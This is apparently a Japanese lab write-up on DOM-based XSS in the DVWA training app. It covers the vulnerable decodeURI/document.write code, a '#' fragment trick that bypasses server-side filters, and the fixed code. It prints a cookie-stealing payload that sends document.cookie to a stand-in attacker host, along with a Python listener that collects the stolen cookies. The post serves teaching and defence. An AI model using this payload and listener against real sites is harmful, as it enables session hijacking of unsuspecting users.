Webセキュリティ学習用アプリ「DVWA (Damn Vulnerable Web App)」を使って、DOM Based Cross Site Scripting (DOM XSS) についての検証を行いました。 Reflected XSSとの違いや、サーバー側の対策をすり抜ける「フラグメント攻撃」、そしてPythonを使ったcookieの奪取までをまとめます。
環境構築については【DVWA】DockerでDVWA環境を構築してコマンドインジェクションを試すをご覧ください。
DOM Based XSS とは?
XSS(クロスサイトスクリプティング)の一種ですが、発生場所に大きな特徴があります。
- Reflected/Stored XSS: サーバー側の処理に問題があり、悪意あるコードがHTMLに含まれて返ってくる。
- DOM Based XSS: クライアント側(ブラウザ)のJavaScript に問題があり、URLなどの入力を安全に処理せずに実行してしまう。
重要なキーワードは Source(ソース) と Sink(シンク) です。
- Source: 攻撃者がデータを入力できる場所(例:
location.href) - Sink: そのデータを実行・描画してしまう場所(例:
document.write)
サーバーとの通信に関係なく、ブラウザ上の処理だけで完結して攻撃が成立するのが最大の特徴です。
Level : Low

ソースコード解析
DVWAの言語選択フォームでは、以下のようなJSが動いていました。
// URLから "default=" の後ろを取得
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
// デコードしてHTMLに書き込む(ここがSink!)
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
問題点
decodeURI(lang) を行っている点です。
ブラウザは通常、URLに入力された <script> などを %3Cscript%3E のようにエンコード(無害化)してくれますが、このコードはそれをわざわざデコードして(元に戻して)から document.write しています。
攻撃手法
URLパラメータにスクリプトを埋め込みます。
http://target/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>
これにより、ブラウザ上でアラートが実行されます。実戦では、これが document.cookie の奪取(セッションハイジャック)などに悪用されます。

Pythonによる検証
DOM XSSの検証にはalert関数の出力を見るというのが定番ですが、それが出来たから何が問題なのかという点がいまいち分かりにくいと思います。 なので今回はDOM XSSの脆弱性によりCookieを奪うという直接的な攻撃をpythonで検証します。
URLパラメータにスクリプトを埋め込みます。
http://yourserver/vulnerabilities/xss_d/?default=<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>
import http.server
import socketserver
from urllib.parse import unquote
import datetime
# --- 設定 ---
PORT = 65000 # 待ち受けるポート番号
# -------------
class StealHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
decoded_path = unquote(self.path)
print(f"[-] 送信元IP: {self.client_address[0]}")
print(f"[-] リクエスト内容: {decoded_path}")
self.send_response(200)
self.end_headers()
print(f"[*] 攻撃用サーバーを起動しました。ポート: {PORT}")
print("[*] 接続待機中...")
# サーバー起動(Ctrl+Cで停止)
with socketserver.TCPServer(("", PORT), StealHandler) as httpd:
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] サーバーを停止します。")
スクリプトが埋め込まれたURLを使ってログイン済みのユーザがアクセスすると、攻撃者サーバがcookieを奪取することに成功します。

Level: Medium / High
MediumやHighレベルでは、サーバー側(PHP)で以下のような対策が行われています。
mediumでのPHPコード
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
highレベルでのPHPコード
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
- Medium:
<scriptという文字列が含まれていたらブロック(ブラックリスト)。 - High:
English,Frenchなどの許可された単語以外はブロック(ホワイトリスト)。
一見完璧に見えますが、DOM Based XSSにおいては完全に無意味でした。
なぜ対策できないのか?
Webの仕様上、URLの #(ハッシュ/フラグメント)より後ろの部分は、サーバーに送信されない からです。
-
URL:
http://site.com/?default=English#<script>... -
サーバーが見る範囲:
http://site.com/?default=English -
→ 正常な値なので通過させる。
-
ブラウザが見る範囲: URL全体(
#以降も含む)。 -
→ JSの
location.hrefは#以降も取得してしまう。
攻撃手法(Bypass)
PHPの検閲をすり抜けるために、攻撃コードを # の後ろに隠します。
http://yourserver/vulnerabilities/xss_d/#?default=<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>
サーバー側のPHPは「English」しか見ていないので通しますが、ブラウザは「#」の後ろを拾って実行してしまいます。


教訓: DOM Based XSS はクライアントの問題であり、サーバー側のフィルタリングでは防げない。
Level: Impossible
最後に、安全なコード(Impossible)を確認しておきましょう。
安全なコード
// decodeURI が消えている!
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
Lowレベルにあった decodeURI(lang) が削除されています。
なぜこれで安全?
ブラウザはURLに入力された < や > を、%3C %3E といった形にURLエンコードします。
プログラム側でデコードせずにそのまま出力すれば、ブラウザはこれを「タグ」ではなく「ただの文字列」として扱うため、スクリプトは実行されません。
まとめ
- DOM XSSはブラウザの中で起きる: サーバーのログに残らないこともある。
#(フラグメント)はサーバーに届かない: これを利用してWAFや入力チェックを回避できる。- 不要なデコードはしない: 入力値を扱うときは、ブラウザの自動エンコード等の仕組みを理解して利用する。
攻撃手法と防御手法の両方を見ることで、Webの仕組みへの理解が深まると思います。